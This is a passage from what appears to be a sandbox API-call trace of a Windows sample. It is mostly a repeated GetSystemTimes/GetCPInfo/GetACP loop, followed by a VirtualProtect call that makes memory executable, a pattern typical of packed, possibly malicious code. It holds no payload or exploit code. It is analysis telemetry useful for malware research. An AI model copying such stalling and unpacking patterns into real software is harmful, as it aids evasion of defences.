(in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.692] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.692] GetACP () returned 0x4e4 [0053.692] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.692] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.692] GetACP () returned 0x4e4 [0053.692] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.692] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.692] GetACP () returned 0x4e4 [0053.692] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.692] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.692] GetACP () returned 0x4e4 [0053.692] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.692] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.692] GetACP () returned 0x4e4 [0053.692] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.692] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.693] GetACP () returned 0x4e4 [0053.693] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.693] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.693] GetACP () returned 0x4e4 [0053.693] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.693] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.693] GetACP () returned 0x4e4 [0053.693] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.693] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.693] GetACP () returned 0x4e4 [0053.693] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.693] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.693] GetACP () returned 0x4e4 [0053.693] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.693] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.693] GetACP () returned 0x4e4 [0053.693] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.693] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.693] GetACP () returned 0x4e4 [0053.693] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.693] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.693] GetACP () returned 0x4e4 [0053.693] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.693] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.693] GetACP () returned 0x4e4 [0053.693] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.693] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.693] GetACP () returned 0x4e4 [0053.694] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.694] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.694] GetACP () returned 0x4e4 [0053.694] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.694] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.694] GetACP () returned 0x4e4 [0053.694] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.694] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.694] GetACP () returned 0x4e4 [0053.694] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.694] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.694] GetACP () returned 0x4e4 [0053.694] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.694] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.694] GetACP () returned 0x4e4 [0053.694] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.694] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.694] GetACP () returned 0x4e4 [0053.694] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.694] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.694] GetACP () returned 0x4e4 [0053.694] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.694] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.694] GetACP () returned 0x4e4 [0053.694] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.694] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.694] GetACP () returned 0x4e4 [0053.695] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.695] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.695] GetACP () returned 0x4e4 [0053.695] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.695] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.695] GetACP () returned 0x4e4 [0053.695] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.695] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.695] GetACP () returned 0x4e4 [0053.695] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.695] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.695] GetACP () returned 0x4e4 [0053.695] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.695] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.695] GetACP () returned 0x4e4 [0053.695] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.695] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.695] GetACP () returned 0x4e4 [0053.695] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.695] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.695] GetACP () returned 0x4e4 [0053.695] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.695] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.695] GetACP () returned 0x4e4 [0053.695] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.695] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.695] GetACP () returned 0x4e4 [0053.695] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.696] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.696] GetACP () returned 0x4e4 [0053.696] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.696] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.696] GetACP () returned 0x4e4 [0053.696] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.696] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.696] GetACP () returned 0x4e4 [0053.696] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.696] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.696] GetACP () returned 0x4e4 [0053.696] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.696] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.696] GetACP () returned 0x4e4 [0053.696] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.696] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.696] GetACP () returned 0x4e4 [0053.696] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.696] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.696] GetACP () returned 0x4e4 [0053.696] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.696] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.696] GetACP () returned 0x4e4 [0053.696] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.696] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.696] GetACP () returned 0x4e4 [0053.696] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.696] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.696] GetACP () returned 0x4e4 [0053.697] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.697] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.697] GetACP () returned 0x4e4 [0053.697] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.697] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.697] GetACP () returned 0x4e4 [0053.697] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.697] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.697] GetACP () returned 0x4e4 [0053.697] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.697] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.697] GetACP () returned 0x4e4 [0053.697] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.697] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.697] GetACP () returned 0x4e4 [0053.697] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.697] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.697] GetACP () returned 0x4e4 [0053.697] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.697] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.697] GetACP () returned 0x4e4 [0053.697] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.697] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.697] GetACP () returned 0x4e4 [0053.697] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.697] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.697] GetACP () returned 0x4e4 [0053.697] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.698] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.698] GetACP () returned 0x4e4 [0053.698] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.698] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.698] GetACP () returned 0x4e4 [0053.698] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.698] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.698] GetACP () returned 0x4e4 [0053.698] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.698] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.698] GetACP () returned 0x4e4 [0053.698] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.698] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.698] GetACP () returned 0x4e4 [0053.698] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.698] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.698] GetACP () returned 0x4e4 [0053.698] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.698] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.698] GetACP () returned 0x4e4 [0053.698] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.698] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.698] GetACP () returned 0x4e4 [0053.698] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.698] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.698] GetACP () returned 0x4e4 [0053.698] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.699] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.699] GetACP () returned 0x4e4 [0053.699] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.699] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.699] GetACP () returned 0x4e4 [0053.699] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.699] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.699] GetACP () returned 0x4e4 [0053.699] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.699] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.699] GetACP () returned 0x4e4 [0053.699] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.699] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.699] GetACP () returned 0x4e4 [0053.699] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.699] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.699] GetACP () returned 0x4e4 [0053.699] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.699] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.699] GetACP () returned 0x4e4 [0053.699] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.699] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.699] GetACP () returned 0x4e4 [0053.699] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.699] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.699] GetACP () returned 0x4e4 [0053.865] VirtualProtect (in: lpAddress=0x5a5ab8, dwSize=0xf2eb, flNewProtect=0x40, lpflOldProtect=0x43ad04 | out: lpflOldProtect=0x43ad04*=0x4) returned 1 [0053.865] AddAtomA (lpString=0x0) returned 0x0 [0053.866] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.866] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.866] AddAtomA (lpString=0x0) returned 0x0 [0053.866] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.866] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.866] AddAtomA (lpString=0x0) returned 0x0 [0053.866] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.866] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.866] AddAtomA (lpString=0x0) returned 0x0 [0053.866] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.866] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.866] AddAtomA (lpString=0x0) returned 0x0 [0053.866] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.866] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.866] AddAtomA (lpString=0x0) returned 0x0 [0053.866] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.866] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.866] AddAtomA (lpString=0x0) returned 0x0 [0053.866] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.866] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.866] AddAtomA (lpString=0x0) returned 0x0 [0053.866] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.866] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.866] AddAtomA (lpString=0x0) returned 0x0 [0053.866] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.866] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: 